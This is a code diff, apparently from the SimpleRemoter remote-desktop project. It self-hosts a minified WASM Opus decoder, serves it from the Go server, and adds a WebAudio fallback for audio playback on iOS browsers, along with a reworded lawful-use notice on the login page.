‹Ù‹= ÑDú ^q C$X%NžÌF?tü[a+LP›€qKəklxô|y¢ÓÊT·€ˆ²“ÎX_ñâr‡{Y‹@Qž<z >q;äX#>nnͺL!Eþ“üšï/¿ht|¡‚5j\eGÃ¥6&zf꺾ގyTTQê28ÞºŽH¼°@{ë±VñĨñ4Œñ¨6(ñ¨¡)®TòÙÑ$T˜ü¡ôO)”„ýÁµdOyGNùv„œùœÜ[:•=}Âýxý*ÔM¯Žó]'°ÎÛ¹v\,çSf’±âÎä'´fЁ€ëàƒLyҕ ((3s؃ìXBIB¾q×¹Í{ørñ+ڗ-·½¹oâ@® /]ãTªÁGà!7a³:Sˆ ÈÈ£gÖñÝA—Õ|ðh0£®ÔŠ˜%랍5OŽÆø
‘ŽïH·ØrÌe¯Q(Ûá^Ð3ºSÏpß=}…ªJ=MŽâ­ s|²…¬W"ƒ™½¤’#͇lyÑÝÁ”À“˜:»uæPÛñ1TÈVÚÂÙÀª/‚I‡Ýy Î/§‡ï7|’òŸ±#m˜mÛ,ãFjG…~.¼)wº‹Eù)•–Í —Ò(©aÁ;¹6x)z™ÉfŸ¬½P“ ÃÁ¥æmºÉÿ¤Fp±FÄæUwíŠcÆïô
[S¥#,4F<C§ûš’4ü
Óâï3DŽQ÷øœOœüN¹´œf'Á éñwl@ÀÆ(:l¯Z?;ÿkG>Ô €h2¶ïY] gªp¢Ù"–9ÓÇØtÔvU U£Ê‚÷nÎ\”aŽíˆŸØyX=M uே$×)þ[gÁ„GÞëU¡œrGþ-kHþsçJ.ëºÁ$»;;KC}“l:厠›‡¾ïÓa¤nÈ=M¥Õào‡¤Õñsèâ´ʼ“SNìl ÿ SÅàlP–žg—'Èü“WÎìtž°)SÉ lXžw·'
>´œÙV.ƒ™t
Ø.‹™uŠ è.“™v
ø.›™wŠ!" ÷5wâÓyCg;œS»;iKKÞ£ý•6©ZÇaj¸²4¹±8
é"0µ±øÚ˜&즸±(é8°Y±ØÊ˜" 4°Z±ʘ2 8pJ±˜.7pбҘ.¡7ÐBö-œ’™'ʘ´ífš± é7B±0¾˜¸œ’ºb±0Ƙ¸ž’:‚±0Θ¸ ’º¢±0֘¸¢’: ¼˜y À˜¹ Ęù Ș9 ̘y И91Ó"÷¦ø¶èœh¦•Y1íâøØü”×× ”Øü˜ ˜ûgÿ§ç' g§ç' [FԁíÍÔ'Ÿc†Ô‘íÑô'°{R¯}r¯’¯²¯ƒÒ¯…ò¯‡¯‰2¯‹R°r°’°‘²°“Ò°•ò°—°™2T›¼DqSœÀT±SÄdñSžÈt1SŸÌ„qT Ð”±ngüP»kGþ U´•1-Êwۈ§$.7÷ºùz:Ú. 4"ù®:Ô"Ò´nº1¹r6bÊÎ÷͚-‡ùv4âÊ/Îù=Mš5‡ú$v8ÂÂ+L™ýгEšh7HÊþ"+u7I
þ2+y7ÊJ3m9NJ3q9ÈÊ"3u9É
23y9:gD<»{;»kÖLýDZìøf<†J=MÂ/]8ƒŠ=MÒ/a8„Ê=Mâ/e8…
=Mò/i8†J/m8‡Š/q8ˆÊ"/u8‰
2/y8
J-Â7]:Š-Ò7a:Ê-â7e:
-ò7i:J.7m:Š.7ñ"ºú¨£z Ú.&7vz
.67zYÃJÀ3\ÙÃjÈ3^YĊÐ3= ÙĪØ3bYÅÊà3dÙÅêè3fYÆ
ð3hÙÆ*ø3jYÇJ3lÙÇj3nYȊ3pÙȪ3rYÉÊ 3tÙÉê(3vYÊ
03xÙÊ*83ºí—B@;»{K¿Å´î8–4¼QB!B.À4þ·¹lÓº‚-η= º¢-Ö·b:Â-Þ·dºâ-æ·f:-î·hº"-ö·j:B.þ·lºb.·.7.·/7/·070·1714)6?ü>}[;;;ëØ¨ñ¨ñ¨ñ¨ñ¨VxÜÈí5•&éï%U¦êò-¥¦éî9…ãݼqµcÞÁau#Þ½u•#Ý{„p‘Š ‚¸’†˜PeàՁ$àוÕ$ßڅ%¤àÖ]މz&Ήx'.‰y(® zďmaʟ=M_·ƒbƗM_Ô¥Á!Ô§ÕÔ!ÓªÅ$¡Ô¦ýߍcö÷͆fî×-†døç­†Ï3&ªø6=Mæª÷8êø4 6jìA'ìUÖ'ë
E&§ì½= ’«xҘ®X2˜¬h²˜ó¥V¨ò­¦¨ñ¹fèò©ÆÑ{@>§+{AH‡«ûB@¯ëû@<ÍãÃhÙÝÄdÉ3ÝÃiÑó]EpÇëþFtïkþDzÏ þErƒÞÉl1³^Êq!sÊm5“ÉSì¬'>Ç_”;»úõñ¨ê•Þ¥§ñôW¢ñ¨@"Ó¢ÿ$èP.Ï’ñZ¼4ôôDk r­Wkt’7"9ö= ¦î»÷nº™P>.mJ±Î}HQ?Û\ÂQWÃ{ŠDxÓ¾½GUë\¿_E#ûÀSI‹ü;MÙ'\ЕgD_ٗ•¬_M>à/Åj…m¤ÿыÍdßN’tƒ= ¾+j¤œ€KD ÁNŒSdÞJn7‹Ì€N±¿ÜàÃiÃKG\ָߎÊpü_͊v îÚ­5lZpožŠsuÅ$ؘWá՜»ôtÆ_T›ÅB-ÆF‚¸¸êsv5½n¢"’lëg|Cölü<Z]‹›¼F<ÿÛ|ýQŠ}¾dÉ3MÄM†—D_ѳŸ€S¶lþDz݋œÀV|ÿÌ»W¶÷D¢Z!sŠo¥ç¬bӘ_ͯ!Ua<ާËÚþè6= &ÓÙ}K¶C;ۀšà  Nh¹K8.•;™ üBSyLÆa8ô!JD„ï4˜±ñfR(€‹šHº<aŠ{.V«+n³ ®À‡zþýýøýèýðýÕë_—j'CVýhœw¢Âêyvø"…ÁžJ…úÉUÉVÊTÉ$ʤ@8ìÅçÅ'Åçí'¼9ÃùÃdêdê°–§YñµÿìFå”Ï­nèٍŠ= 2Xå„f„jd‰fpÑ*ªƒ'vMlQ•VØðrzæ[ò_øcè3«”¥ • •¢š› › åõÁ.èq²“x¥9½ÆQʓõzå%pT&IâÐYiŠh
ehäk‘%ÖMÖΕÍAPlFü9ðœÔì Ð„èŒ(̘ì>œøœxœN™Ž® †i«Þøñʓx¢,í~Ñr”ôyÕ°ócøë[ú“͕׍̙Ò=MÕ é%’/äo2ˆ€'?i4@¢€ÈSvÝö^Až>}Á>ÊA ?hõ©õš(­Þ"ð™²õy+ï(‘vñÆ1©Ê%5=M-E-f-Õðpdp6VŽ޵~ń˝‹xö¢y7Á»°ûC£=M|ÁKa۞á˜Â†×ÉÙRï·×ÜЄSÉz]”“usöõ¶³´6354B??A@@Æ7uÜ"Τ…!­ãã=}ҕ³öYÕ[ßPÑ[àXÙRgu{jC^ýÏ;[œó8d5ЛD3:9ä ÷ÐüWë?ç·iÉ»nEó>Ù»rF3>¼{k+R¾/OkDM¾<«¨*ªñ¨wñ¨ñ¨ñ¨6ñY¥wÒ_͇e$ŸÍˆi4O‡d ˆh0o=M‡f(¯=Mˆj8Gmc‡mgVîdÖî= –îhî^vîföîbîj6®[B®c®_‚®g®]b®eâ®a¢®i"®\R®dÒ®= ’®h®^r®fò®b²®j2.[J.cÊ._Š.g
.]j.eê.aª.i*.\Z.dÚ.= š.h.^z.fú.bº.j:n²é4îËg tf”•NƒkÜ¿N„oìÿ΃mäß΄qôŽƒlàώ„pðƒnèï„rø/nkÞÇno1‰õ҅AÌNôPt$ø§ස'wvþð7„&·n ’µRÓV¼F(Dšmõ‡£—§¡ilnuÒÕD–iÎdâi.E®ž’€émŽ1—hÎp!ÿÀ¦((uÔèrb)Gë²¼µE͎ë~Ȓp±ªÓØEò²L±m=Mف£÷É0”×*8aüªN8bºÎØ\Ëýo¢ávvþXÔ)­¢Éö®ËâÑ·pPåèƒÈ¥h®Ô0[Žæ/èò•x$ð|
ȵªÑ|ÆgŸ=Mi։T°傡¸í&ÒÛgŸu]lTʵ!íÚp¾ÈNn§ñkÞ襦n'ñr~~W‡²p³ŠîÙ)¦¢2"{êJ1ÜùvªÉ/Þ8"“:xTbu&Ÿ¢Ù%'n¬Ñö ¬"´)ù{HRæ p˜éñf³È•êŽ.H¥ú”Jò% Ixàò/³ú™Z.^µº‡AФÔwbÖRŸ/íç™ÐVí–Á*->Ô¹gŠ 7Àçrk‡I ì_œO9åBxÙsä¢nñ6íñ¨E¦¨ñ(™ñ¦¨È‰út7º½ªº¼æºBB »<?sQãK×SATÀûAÐ;ν—Q¥ 0›
=}tZ÷= [Õû¯û;³ÞêBb©<­¢«2>:ck~)—Cé<¬j
»·J×Z{ÒûDÑFW= ‹C‰w‡[
M?òÐ0Ò@!‚|i¤q–#ˆg'ÞgÐQ.QŠFnvÿõ\÷,K9è\‰7g¿çIéXœޜ­:ÀDõ]Ã^]J€ËC ƒO¸…O.‰Ïì4q |qòtìaÁb‹îÓÞÊ1=  Òbëþ„9„÷JÍÃpŽÓBŽÇ臘ØÚÌÿFmg)@홼ôõ½…½ÂeL¦’œºÀwßUb”¾ùìAîhžzהÂ%è"ÿª%Ì"pKç\Œ= Ä´›Aô~¢± }:zF6Ž"¨xR sJ^!n1,·÷ÂQÒij/]ÙÆ¬r˜½zõOîǗ­½Ðf,fì–VÌøˆsæpÞr¦ü'Ó©þôÝX °Ï6²]n?>xã>µl0Ì6÷Z²)[µ\'ÁÌtBªXÀóµ?ŽS §,÷p+Ò萺¨Ÿ·˜ÞþjéÊÔ˗£ž½nq|G6ùÌV§Ä.‘#îòü/ª’º¶×²¨ìnb'Å7›r½æ1{XóR¡ŸZ­n2þ*ÊM«î@,C3l‹TÃü.ûªAܛ4‘KzW/€ÛÚÁ3ºë÷Ž[a@9&½Ö–h’”ãô\7v~ÿrH®®]½5[½¹w-§*K$?æ%uFóì_G2ÎÁÛÔ‡E×VkÓÔ(pŽsÔH‚Iby6œaÀÔHEnnnnî
ÕÕWš’¸0922hPå“c‚A3åWã܅›·G»ñm=}ñ¾D=}n “;˜¡HsQkBs>5#AÕɻҳ;®þBÓÇi»äKÛý¹BïÝb«”ûIǨÔG/ýgIQ;ÉY;'*•ÛRÇ>á³e‹fæ<â<o¸T[:H»®²> ¬CÓ¿®{vAñ7@L»Î…LX§ÄëLÀú@[©ŠZ¿!ß\®;ý‡t¥UKŽïUœTÂã ÒK6M¬²?¶Éû6>CõuÉýBMó轛’è]#¿^?^¹}‹6lĦu̓V|ÝL¾„wúÌßÙṙ >ÍñŒE“¤R<IL«Öæ?/ãa<Ù4—ûUãÀîC\-gR2òDì%ÀË)g)âÆ+÷Ô]%,´Luœ_!ÿ'3•l ócá•„ó©M× …„#ZU›uº±ÑÝ.àã€dÙ”øÙgž…*£œÓ×ö{É]@²wŠ|²séûb¸Ð§&=}= bã  e%+†PI
l›5˜p›‰U–âGäÄL#+d^©®çlV°SêlÜ2øm‘Êp= A¡ç¯ÔT˜R§ S™mâeÁ•›àä= •ïþM€¡•œ‚§ˆtªî¡m.¨#ÖÑ¥±¤pypÑÆ* ‚21³D±œø>¢Ô(Ãu³uŒD¢W¯ÔÄ'ºêÐ;eV;~Z»;€= »1A{{s½×ÂC%rN›ÌÛQý%†]ó|›KªÑüÌڅ+¤n½BâüޅH™T +hæNç¨1¾€œË7–sËVŽüê¦d¿õÉ>õÜI5ٖ>žWI¾ÌÂ+ÿGÞ®äY£=MƟO$uH€"pÜtŠc·Ázìø2£œ„áH´œØÑ/ó¡Ò/Ow¶ö‚Û‰FQ1'µ‹Ã6áÅÁ·RôOë<²­_¾µ°ý|”ß/öb=M†R©¡µg*5ыI6#ÜU²¸Û<n2ÛGºªሖ‡EW]ãt¿Àl¸-{+‰&å¡°ð3éð³¢ú¹Ù'7äö¨"÷ˆøýìØ‡èAµg#wL°ê7=}=M˜‰BФC&hé#ñ4ᙴ8 &2Éósnœæï î%í¢†-귐mœ|–h*¤–WåØ;AÀ>
@3Å[ЉûNhDîQFü*Ý?uJûØ6ë
A™§²Âœp˜[ô’s‹šFû .oCtï@ݘÚý‰# £=MÖ#ƒ‡wìîxýß½GÒÿDó|Ü}5jìÝNȰ5EÇ>ïvßøN’À‚ªfÈÆHøýˆ §åpª­( øç°ÓX–*)· ©T0œ¢Ç‚¹ÆÑB¿Ÿ¤iÅ5mtímhâ¡'»BNiÇ©¦=}{fLÐË+¡ùC}ØûÀÓ}qb³.x;ݎ<¸Ø<圢›‹ÆrEØø>¬C䇭‹ ·|ãKLQfäÕ6˜5av„TõÝýît›™Ð"¦6Ál¬¨6ñý>HG8  $  —=MøÄƒd»¥BGÁØÇ¼¹$=}¯ŸŠã)uYGz;žC}pd¿\|‘6(L=Mf_ï#ß«WÞ¥§fŸp@0N6‘
Š'¤sªˆQø÷Õ¬Åq¾>.øü·¢D5³T…áhÅ8zDvO= ¯óÝyàÙåFÆÒ•çcËóŒz?Ê5cèŠ–úë.ÌðÐޛ~†O Ë|¿Ó˜Q§ v)BHXƒš6œøöDއ¥„˜ŠkÒÚa¡cÙ7—¦x©nº¡6¾}®­iÏ<ÎWhš‘2 9's"IɎ<»ïX\#F\Ë_4F[ eŠÚ ¸Šø¹2øH$žß9_xì9i 2µšã
ã/¸Äyf"Ÿ5TàyÊ0îEê²Þ—€m6ëÞè6ðÏâ§9ž¬„k=}¼àt<ž‚¦Mdžç6"p_î3, oO3p"pw÷´/(1ñøs.íA/&ÏUÃ_X™ÍpÕ1hÌ80E’Qö„
ow÷!x.™AÜ"¢j+惡¦®ä“R–ow÷!xꔊpn…â#ðù
z AÍp\Ž0N˜HJê´ªØ^U
I€wu¸öôú!3å6³‹âVq£³¹´RN£%y10º:pŠ#\:J:b9Hµ7h_Ž:¢I9 _¼™µV,þ <`});var d={a:l};this.H=t=>{i.H(n,t)},this.M=()=>i.M(n),this.instantiate=()=>(this.M().then(i=>WebAssembly.instantiate(i,d)).then(i=>{const s=i.exports;var h;(i=>{o=i.i,a=i.j,c=i.k,I=i.l,u=i.m,y=i.o})(s),h=(H=s.g).buffer,e=new Uint8Array(h),new BigInt64Array(h),new BigUint64Array(h),(i=>{i.h()})(s),t()}),this.ready=new Promise(i=>{t=i}).then(()=>{this.O=H.buffer,this.v=a,this.free=u,this.R=o,this._=c,this.q=I}),this)}function M(i={}){M.errors||Object.defineProperties(M,{errors:{value:new Map([[-1,"OPUS_BAD_ARG: One or more invalid/out of range arguments"],[-2,"OPUS_BUFFER_TOO_SMALL: Not enough bytes allocated in the buffer"],[-3,"OPUS_INTERNAL_ERROR: An internal error was detected"],[-4,"OPUS_INVALID_PACKET: The compressed data passed is corrupted"],[-5,"OPUS_UNIMPLEMENTED: Invalid/unsupported request number"],[-6,"OPUS_INVALID_STATE: An encoder or decoder structure is invalid or already freed"],[-7,"OPUS_ALLOC_FAIL: Memory allocation has failed"]])}}),this.K=()=>new this.C(this).instantiate(this.ii,this.ti).then(i=>{this.ei=i,this.Hi=0,this.si=0,this.hi=0,this.ri=this.ei.U(this.ni,Uint8Array),this.Mi=this.ei.U(this.oi*this.ai,Float32Array);const t=this.ei.U(this.ci,Uint8Array);t.F.set(this.Ii),this.ui=this.ei.I.R(this.yi,this.ci,this.li,this.di,t.Y,this.pi,this.mi)}),Object.defineProperty(this,"ready",{enumerable:!0,get:()=>this.fi}),this.reset=()=>(this.free(),this.K()),this.free=()=>{this.ei.free(),this.ei.I.q(this.ui),this.ei.I.free(this.ui)},this.Ji=i=>{if(!(i instanceof Uint8Array))throw Error("Data to decode must be Uint8Array. Instead got "+typeof i);this.ri.F.set(i);let t,e=this.ei.I._(this.ui,this.ri.Y,i.length,this.Mi.Y);return e<0&&(t="libopus "+e+" "+(M.errors.get(e)||"Unknown Error"),console.error(t),e=0),{outputBuffer:this.ei.P(this.Mi.F,this.oi,e),samplesDecoded:e,error:t}},this.decodeFrame=i=>{let t=[];const e=this.Ji(i);return e.error&&this.ei.D(t,e.error,i.length,this.hi,this.Hi,this.si),this.hi++,this.Hi+=i.length,this.si+=e.samplesDecoded,this.C.W(t,[e.outputBuffer],this.oi,e.samplesDecoded,this.yi)},this.decodeFrames=i=>{let t=[],e=[],H=0,s=0;for(;s<i.length;){const h=i[s++],r=this.Ji(h);t.push(r.outputBuffer),H+=r.samplesDecoded,r.error&&this.ei.D(e,r.error,h.length,this.hi,this.Hi,this.si),this.hi++,this.Hi+=h.length,this.si+=r.samplesDecoded}return this.C.W(e,t,this.oi,H,this.yi)},this.bi=M.G,this.C=M.V||s,this.ii=M.$||n,this.ti=M.module;const t=i=>"number"==typeof i,e=i.sampleRate,H=i.channels,h=i.streamCount,r=i.coupledStreamCount,o=i.channelMappingTable,a=i.preSkip,c=i.forceStereo?1:0;if(H>2&&(!t(h)||!t(r)||!Array.isArray(o)))throw Error("Invalid Opus Decoder Options for multichannel decoding.");return this.yi=[8e3,12e3,16e3,24e3,48e3].includes(e)?e:48e3,this.ci=t(H)?H:2,this.li=t(h)?h:1,this.di=t(r)?r:this.ci-1,this.Ii=o||(2===this.ci?[0,1]:[0]),this.pi=a||0,this.mi=H<=8&&2!=H?c:0,this.ni=3840*this.ci,this.ai=5760,this.oi=this.mi?2:this.ci,this.fi=this.K(),this}class o extends h{constructor(i){super(i,"opus-decoder",M,n)}async decodeFrame(i){return this.X("decodeFrame",i)}async decodeFrames(i){return this.X("decodeFrames",i)}}r(M,"OpusDecoder"),r(o,"OpusDecoderWebWorker"),i.OpusDecoder=M,i.OpusDecoderWebWorker=o},"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("@eshaz/web-worker")):"function"==typeof define&&define.amd?define(["exports","@eshaz/web-worker"],t):t((i="undefined"!=typeof globalThis?globalThis:i||self)["opus-decoder"]={},i.Worker);
//# sourceMappingURL=opus-decoder.min.js.map
+3
View File
@@ -21,3 +21,6 @@ var xtermCSS []byte
//go:embed assets/static/fit.min.js //go:embed assets/static/fit.min.js
var xtermFitJS []byte var xtermFitJS []byte
//go:embed assets/static/opus-decoder.min.js
var opusDecoderJS []byte
+1
View File
@@ -102,6 +102,7 @@ func (s *Server) Start() error {
mux.HandleFunc("/static/xterm.js", staticHandler(xtermJS, "application/javascript; charset=utf-8")) mux.HandleFunc("/static/xterm.js", staticHandler(xtermJS, "application/javascript; charset=utf-8"))
mux.HandleFunc("/static/xterm.css", staticHandler(xtermCSS, "text/css; charset=utf-8")) mux.HandleFunc("/static/xterm.css", staticHandler(xtermCSS, "text/css; charset=utf-8"))
mux.HandleFunc("/static/xterm-fit.js", staticHandler(xtermFitJS, "application/javascript; charset=utf-8")) mux.HandleFunc("/static/xterm-fit.js", staticHandler(xtermFitJS, "application/javascript; charset=utf-8"))
mux.HandleFunc("/static/opus-decoder.min.js", staticHandler(opusDecoderJS, "application/javascript; charset=utf-8"))
s.srv = &http.Server{ s.srv = &http.Server{
Addr: ":" + strconv.Itoa(s.port), Addr: ":" + strconv.Itoa(s.port),
+180 -13
View File
@@ -1166,7 +1166,7 @@
<div class="login-footer"> <div class="login-footer">
<div class="security-notice"> <div class="security-notice">
<strong>&#x26A0; Security Notice</strong> <strong>&#x26A0; Security Notice</strong>
SimpleRemoter.com may be flagged as "dangerous" by browsers due to the word "Remote" in its name. This is a false positive. The software is fully open-source and safe to use. This software is for lawful, authorized, and legitimate use only. You are solely responsible for your use and for complying with applicable law. The developer assumes no liability.
</div> </div>
<div class="login-links"> <div class="login-links">
<a href="https://simpleremoter.com/" target="_blank">&#x1F310; Website</a> <a href="https://simpleremoter.com/" target="_blank">&#x1F310; Website</a>
@@ -1352,8 +1352,11 @@
<script src="__BASE_PATH__/static/xterm.js"></script> <script src="__BASE_PATH__/static/xterm.js"></script>
<script src="__BASE_PATH__/static/xterm-fit.js"></script> <script src="__BASE_PATH__/static/xterm-fit.js"></script>
<!-- Opus codec for audio decompression --> <!-- Opus WASM decoder (WebAudio fallback for browsers without MSE+WebM/Opus,
<script src="https://cdn.jsdelivr.net/npm/opus.js@0.5.0/dist/opus.js"></script> e.g. iOS Safari/Chrome where WebKit's MediaSource lacks WebM/Opus).
Self-hosted (served from /static/) so audio works without reaching the
internet — a CDN copy is unreliable behind GFW/offline LANs. -->
<script src="__BASE_PATH__/static/opus-decoder.min.js" charset="UTF-8"></script>
<script> <script>
let ws = null, token = null, decoder = null, devices = [], currentDevice = null; let ws = null, token = null, decoder = null, devices = [], currentDevice = null;
@@ -1387,11 +1390,11 @@
// channels:2 sampleRate:4 bitsPerSample:2 blockAlign:2 // channels:2 sampleRate:4 bitsPerSample:2 blockAlign:2
// compression:1 (0=PCM unsupported by web, 1=Opus) reserved:1 // compression:1 (0=PCM unsupported by web, 1=Opus) reserved:1
// MSE + WebM/Opus playback. Raw Opus packets arrive over WS; we wrap // MSE + WebM/Opus playback (desktop Chrome/Firefox/Android). Raw Opus
// each one in a minimal WebM container in JS and feed it to a // packets arrive over WS; we wrap each one in a minimal WebM container
// SourceBuffer attached to a hidden <audio> element. The browser // and feed it to a SourceBuffer attached to a hidden <audio> element.
// decodes Opus natively. Tested on desktop Chrome; mobile playback // Browsers without MSE+WebM/Opus (iOS Safari/Chrome — WebKit has no
// is a known follow-up (see commit notes). // WebM/Opus in MediaSource) fall back to the WebAudio + WASM path below.
let audioFormat = null; // { compression, channels, sampleRate, bitsPerSample, blockAlign } let audioFormat = null; // { compression, channels, sampleRate, bitsPerSample, blockAlign }
let audioEnabled = true; // Audio on/off flag (set by UI) let audioEnabled = true; // Audio on/off flag (set by UI)
let syncDrift = 0; // A/V sync monitoring (milliseconds) let syncDrift = 0; // A/V sync monitoring (milliseconds)
@@ -1405,13 +1408,35 @@
const OPUS_FRAME_MS = 20; // 960 samples @ 48k — matches client encoder const OPUS_FRAME_MS = 20; // 960 samples @ 48k — matches client encoder
const _pendingOpusPackets = []; // packets received before SourceBuffer is ready const _pendingOpusPackets = []; // packets received before SourceBuffer is ready
// ---- WebAudio + WASM Opus fallback path ----
// Used when MSE + WebM/Opus is unsupported (iOS Safari/Chrome — WebKit's
// MediaSource has no WebM/Opus). Raw Opus packets are decoded to PCM
// with a WASM decoder (opus-decoder) and played via AudioContext. The
// decision is made on kernel capability, not UA, so it covers every iOS
// browser at once.
const _mseOpusSupported = !!(window.MediaSource &&
MediaSource.isTypeSupported('audio/webm; codecs="opus"'));
const _useWebAudioPath = !_mseOpusSupported;
let _audioCtx = null; // AudioContext (created/resumed inside a gesture)
let _opusDecoder = null; // WASM OpusDecoder (created when format is known)
let _decoderReady = false; // _opusDecoder.ready resolved
let _waNextTime = null; // next AudioBufferSourceNode start time (ctx clock)
let _waDropLogged = false; // one-shot console.warn for per-frame drop reasons
let _waDecodeFailLogged = false; // one-shot console.error for decode failures
const WA_LOOKAHEAD = 0.15; // seconds of lead time kept in the scheduler
const WA_MAX_LATENCY = 0.60; // drop backlog if we drift this far ahead
const WA_DECODE_SR = 48000; // Opus always decodes to 48 kHz
if (_useWebAudioPath) console.log('[Audio] WebAudio fallback path (no MSE/WebM-Opus)');
// Browser autoplay policies require an HTMLAudioElement to be created // Browser autoplay policies require an HTMLAudioElement to be created
// and .play()'d synchronously inside a user-gesture event handler. // and .play()'d synchronously inside a user-gesture event handler.
// We hook the first click/keydown to spin up the element + MediaSource. // We hook the first click/keydown to spin up the element + MediaSource.
// Subsequent activity (e.g. tab regaining focus) re-issues play(). // Subsequent activity (e.g. tab regaining focus) re-issues play().
function installAudioGestureUnlock() { function installAudioGestureUnlock() {
const onGesture = () => { const onGesture = () => {
if (!_audioElement) { if (_useWebAudioPath) {
_setupWebAudioContext();
} else if (!_audioElement) {
try { try {
_setupAudioElementAndMediaSource(); _setupAudioElementAndMediaSource();
console.log('[MSE] <audio> + MediaSource set up by gesture'); console.log('[MSE] <audio> + MediaSource set up by gesture');
@@ -1423,11 +1448,137 @@
} }
}; };
const opts = { passive: true, capture: true }; const opts = { passive: true, capture: true };
window.addEventListener('click', onGesture, opts); // click/keydown cover desktop; touchend/pointerdown are the most
window.addEventListener('keydown', onGesture, opts); // reliable "user gesture" triggers for AudioContext.resume() on iOS.
window.addEventListener('click', onGesture, opts);
window.addEventListener('keydown', onGesture, opts);
window.addEventListener('touchend', onGesture, opts);
window.addEventListener('pointerdown', onGesture, opts);
// Recover when the app returns to the foreground (iOS may suspend
// the AudioContext while backgrounded).
document.addEventListener('visibilitychange', () => {
if (!document.hidden && _useWebAudioPath) _setupWebAudioContext();
});
} }
installAudioGestureUnlock(); installAudioGestureUnlock();
// ============================================================
// WebAudio + WASM Opus fallback playback.
// The AudioContext is created/resumed inside installAudioGestureUnlock's
// user-gesture handler above (required by iOS autoplay policy). The
// WASM decoder is created lazily when the first AudioFormat arrives
// (handleAudioFrame), so it knows nothing about the container/codec
// support the MSE path depends on.
// ============================================================
function _setupWebAudioContext() {
if (_audioCtx) {
if (_audioCtx.state === 'suspended') {
_audioCtx.resume()
.then(() => console.log('[Audio] resumed → ' + _audioCtx.state))
.catch(e => console.error('[Audio] resume rejected: ' + (e && e.message)));
}
return;
}
const AC = window.AudioContext || window.webkitAudioContext;
if (!AC) { console.error('[Audio] Web Audio API unavailable'); return; }
try {
_audioCtx = new AC();
console.log('[Audio] AudioContext created, resuming…');
_audioCtx.resume()
.then(() => console.log('[Audio] AudioContext ' + _audioCtx.state))
.catch(e => console.error('[Audio] resume rejected: ' + (e && e.message)));
} catch (e) {
console.error('[Audio] AudioContext failed: ' + (e && e.message));
}
}
function _initWebAudioDecoder(fmt) {
if (_opusDecoder) { try { _opusDecoder.free().catch(() => {}); } catch (e) {} }
_opusDecoder = null;
_decoderReady = false;
_waNextTime = null;
_waDropLogged = false;
_waDecodeFailLogged = false;
const OpusDecoder = window['opus-decoder'] && window['opus-decoder'].OpusDecoder;
if (!OpusDecoder) {
console.error('[Audio] opus-decoder not loaded (static script missing?)');
return;
}
try {
_opusDecoder = new OpusDecoder({ sampleRate: WA_DECODE_SR, channels: (fmt && fmt.channels) || 2 });
_opusDecoder.ready.then(() => {
_decoderReady = true;
console.log('[Audio] WebAudio decoder ready ch=' + fmt.channels);
}).catch(e => {
console.error('[Audio] decoder ready failed: ' + (e && e.message));
});
} catch (e) {
console.error('[Audio] decoder construction failed: ' + (e && e.message));
}
}
function _pushOpusWebAudio(opusBytes) {
if (!_opusDecoder || !_decoderReady) return; // WASM still compiling
if (!_audioCtx) {
if (!_waDropLogged) { _waDropLogged = true; console.warn('[Audio] no AudioContext (tap the page first)'); }
return;
}
if (_audioCtx.state !== 'running') {
if (!_waDropLogged) { _waDropLogged = true; console.warn('[Audio] ctx ' + _audioCtx.state + ' — dropping audio'); }
return;
}
// decodeFrame in this bundle is SYNCHRONOUS: it drives the WASM
// decoder directly and returns {channelData, samplesDecoded,
// sampleRate, errors} — not a Promise. Calling .then() on it throws
// a TypeError before any error handling can run. Decode in try/catch.
let res;
try {
res = _opusDecoder.decodeFrame(new Uint8Array(opusBytes));
} catch (e) {
if (!_waDecodeFailLogged) { _waDecodeFailLogged = true; console.error('[Audio] decodeFrame threw: ' + (e && e.message)); }
return;
}
if (!res || !res.samplesDecoded) {
let errStr = 'no samples';
if (res && res.errors && res.errors.length) {
try { errStr = String(res.errors[0].message || res.errors[0]); } catch (e) { errStr = String(res.errors[0]); }
}
if (!_waDecodeFailLogged) { _waDecodeFailLogged = true; console.error('[Audio] decode fail: ' + errStr); }
return;
}
const ch = res.channelData ? res.channelData.length : 0;
if (ch < 1) {
if (!_waDecodeFailLogged) { _waDecodeFailLogged = true; console.error('[Audio] decode ch=0 samples=' + res.samplesDecoded); }
return;
}
if (!_audioCtx || _audioCtx.state !== 'running') {
if (!_waDropLogged) { _waDropLogged = true; console.warn('[Audio] ctx ' + (_audioCtx && _audioCtx.state) + ' at schedule'); }
return;
}
const samples = res.samplesDecoded;
const sr = res.sampleRate || WA_DECODE_SR;
const buffer = _audioCtx.createBuffer(ch, samples, sr);
for (let c = 0; c < ch; c++) {
if (res.channelData[c]) buffer.copyToChannel(res.channelData[c], c);
}
const src = _audioCtx.createBufferSource();
src.buffer = buffer;
src.connect(_audioCtx.destination);
const now = _audioCtx.currentTime;
if (_waNextTime === null || _waNextTime < now) {
_waNextTime = now + WA_LOOKAHEAD;
}
src.start(_waNextTime);
_waNextTime += samples / sr;
if (_waNextTime - now > WA_MAX_LATENCY) {
// Decoder/latency spike put us too far behind; drop the
// backlog and stay live instead of playing stale audio.
_waNextTime = now + WA_LOOKAHEAD;
}
}
// Pagination and filter state // Pagination and filter state
let currentPage = 1; let currentPage = 1;
let viewMode = 'grid'; // 'grid' or 'list' let viewMode = 'grid'; // 'grid' or 'list'
@@ -2003,6 +2154,10 @@
function pushOpusPacket(opusBytes) { function pushOpusPacket(opusBytes) {
if (!audioFormat || audioFormat.compression !== 1) return; if (!audioFormat || audioFormat.compression !== 1) return;
if (_useWebAudioPath) {
_pushOpusWebAudio(opusBytes);
return;
}
if (_sourceBuffer && _initSegmentSent) { if (_sourceBuffer && _initSegmentSent) {
_enqueueAppend(WebMMuxer.buildCluster(opusBytes, _opusTimestampMs)); _enqueueAppend(WebMMuxer.buildCluster(opusBytes, _opusTimestampMs));
_opusTimestampMs += OPUS_FRAME_MS; _opusTimestampMs += OPUS_FRAME_MS;
@@ -2030,6 +2185,12 @@
_initSegmentSent = false; _initSegmentSent = false;
_opusTimestampMs = 0; _opusTimestampMs = 0;
_pendingOpusPackets.length = 0; _pendingOpusPackets.length = 0;
// Reset the WebAudio fallback (keep the AudioContext alive so we
// don't forfeit the gesture-acquired play permission on reinit).
if (_opusDecoder) { try { _opusDecoder.free().catch(() => {}); } catch (e) {} }
_opusDecoder = null;
_decoderReady = false;
_waNextTime = null;
} }
function handleAudioFrame(data) { function handleAudioFrame(data) {
@@ -2073,10 +2234,12 @@
return; return;
} }
stopAllAudio(); stopAllAudio();
if (_mediaSource && _mediaSource.readyState === 'open') { if (_useWebAudioPath) {
_initWebAudioDecoder(fmt);
} else if (_mediaSource && _mediaSource.readyState === 'open') {
